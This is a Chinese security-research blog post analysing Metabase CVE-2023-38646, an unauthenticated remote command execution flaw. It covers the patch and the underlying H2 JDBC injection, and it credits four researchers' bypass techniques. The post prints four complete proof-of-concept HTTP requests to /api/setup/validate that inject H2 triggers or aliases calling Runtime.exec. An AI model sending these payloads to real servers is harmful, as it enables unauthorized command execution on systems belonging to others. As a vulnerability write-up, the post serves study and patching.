0%

Metabase (CVE-2023-38646) 分析

漏洞摘要

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。7月的时候Metabase公布了一个漏洞,0.46.6.1 之前的版本存在漏洞,允许攻击者以服务器的权限级别在服务器上执行任意命令,CVE编号CVE-2023-38646。 这应该是我今年遇到比较有趣的漏洞了,前后跟了很长时间,看了大概四位师傅的不同的绕过手段,学习了不少新知识,最后发现另外一处0day,记录下来。

环境部署

  • 环境部署
    1
    docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6

漏洞分析

Metabase是用Clojure编写的,刚分析时不懂她的语法,源码看的一头雾水,加上Metabase 0.46.6.1的补丁修复的漏洞根本不是任意命令执行,导致我在补丁分析上花费了很长时间.
我们先来看0.46.6.1的补丁修复的问题。

补丁对account做了限制,account是snowflake的账号信息,修复之前可以任意填写,修复之后获取第一个点号之前的信息作为account,这样就不能伪造sso地址,触发snowflake sso命令注入漏洞(CVE-2023-30535)了,漏洞信息:https://github.com/snowflakedb/snowflake-jdbc/security/advisories/GHSA-4g3j-c4wg-6j7x 。至于这个snowflake sso命令注入漏洞(CVE-2023-30535),跟进了下只能在Linux、MAC以open命令打开程序,并不能注入恶意参数,所以感觉用处不大。

所以Metabase 0.46.6.1补丁里所修复的漏洞严格来说不算是任意命令执行,导致在分析补丁的时候一直怀疑自己是否分析错了,或者怀疑真正的漏洞补丁官方没有在git上提交,同时断断续续看到网上各位师傅的复现截图,更加怀疑自己是不是太菜分析出了问题,备受打击。然而从事后看,各位师傅的复现截图,其实跟Metabase 0.46.6.1补丁也没关系,是师傅们自己挖的0day,虽然POC虽然手法不同,但都是对h2 jdbc注入的绕过,如果对jdbc注入不太熟悉,需要先补下jdbc注入知识(https://su18.org/post/jdbc-connection-url-attack/#h2-rce ),下面逐一介绍师傅们的0day POC:

  • POC1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    POST /api/setup/validate HTTP/1.1
    Host: 192.168.1.59:3000
    Content-Type: application/json
    Content-Length: 538

    {
    "token": "4157be05-a84b-4e97-930c-4907f09c9a31",
    "details": {
    "is_on_demand": false,
    "is_full_sync": false,
    "is_sample": false,
    "cache_ttl": null,
    "refingerprint": false,
    "auto_run_queries": true,
    "schedules": {},
    "details": {
    "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
    "advanced-options": false,
    "ssl": true,
    "init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n\tjava.lang.Runtime.getRuntime().exec('touch /tmp/success')\n$$"
    },
    "name": "an-sec-research-team",
    "engine": "h2"
    }
    }

    POC1来自Christ1na师傅,原理是Metabase调用h2数据库引擎的时候对db参数有过滤,如果想注入init就会被connection-string-set-safe-options函数移除,这里Christ1na师傅想到把init参数直接作为details参数传递给Metabase,绕过了过滤。师傅文章:https://www.christ1na.cn/index.php/2023/07/30/cve-2023-38646-metabase%E6%9C%AA%E6%8E%88%E6%9D%83jdbc%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

  • POC2

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    POST /api/setup/validate HTTP/1.1
    Host: 192.168.1.59:3000
    Content-Type: application/json
    Content-Length: 420

    {
    "details": {
    "details": {
    "advanced-options": true,
    "classname": "org.h2.Driver",
    "subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('touch /tmp/test');",
    "subprotocol": "h2"
    },
    "engine": "h2",
    "name": "x"
    },
    "token": "4157be05-a84b-4e97-930c-4907f09c9a31"
    }

    POC2来自github,公开poc太多了,不知是哪位师傅首发。这里用了在details里添加classname、subname、subprotocal的方式触发jdbc注入,原理是Metabase对传入的classname、subname、subprotocal会做处理,允许用户自定义jdbc数据库驱动,把INIT写在subname,当然就绕过了connection-string-set-safe-options函数的过滤。事后想想,如果分析漏洞的时候多看看Metabase的测试用例,我应该可以想到这种方式。

  • POC3

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    POST /api/setup/validate HTTP/1.1
    Host: 192.168.1.59:3000
    Content-Type: application/json
    Content-Length: 383

    {
    "token": "4157be05-a84b-4e97-930c-4907f09c9a31",
    "details": {
    "details": {
    "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('touch /tmp/test')\n$$--=x",
    "advanced-options": false,
    "ssl": true
    },
    "name": "test",
    "engine": "h2"
    }
    }

    POC3来自assetnote,应该是我看到最早公开poc的文章,原理是这里外国师傅挖了一个h2的SQL注入去注入h2初始化语句,也就是不需要init字段,当然就绕过了connection-string-set-safe-options函数的过滤,真是太猛了,文章链接:https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

  • POC4

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    POST /api/setup/validate HTTP/1.1
    Host: 192.168.1.59:3000
    Content-Type: application/json
    Content-Length: 373

    {
    "token": "4157be05-a84b-4e97-930c-4907f09c9a31",
    "details": {
    "details": {
    "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;ınit=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n\tjava.lang.Runtime.getRuntime().exec('touch /tmp/success')\n$$",
    "advanced-options": false,
    "ssl": true
    },
    "name": "test",
    "engine": "h2"
    }
    }

    POC4来自白帽酱师傅,原理通过大小写转换bug绕过connection-string-set-safe-options函数的过滤,真是太棒了,文章链接:https://rce.moe/2023/07/28/Metabase-CVE-2023-38646/

漏洞修复

怎么说呢,感觉官方发了一个鸡肋漏洞修复,师傅们纷纷用0day复现,所以在Metabase 0.46.6.1补丁发布后,又陆续发了多次补丁,修复师傅们的0day

写在最后

刚开始看Clojure代码,感觉就是非常别扭,心想如果要用他来写项目,最大的好处大概是自己的代码别人不用容易看懂吧,大大增强不可替代性;熟悉之后感觉还挺有意思的,虽然仅限在代码阅读上,也是在这个基础上不断翻阅Metabase源码,最终到了另一处RCE,包括最新版Metabase,以后有时间写一篇关于Clojure的安全研究吧。

参考链接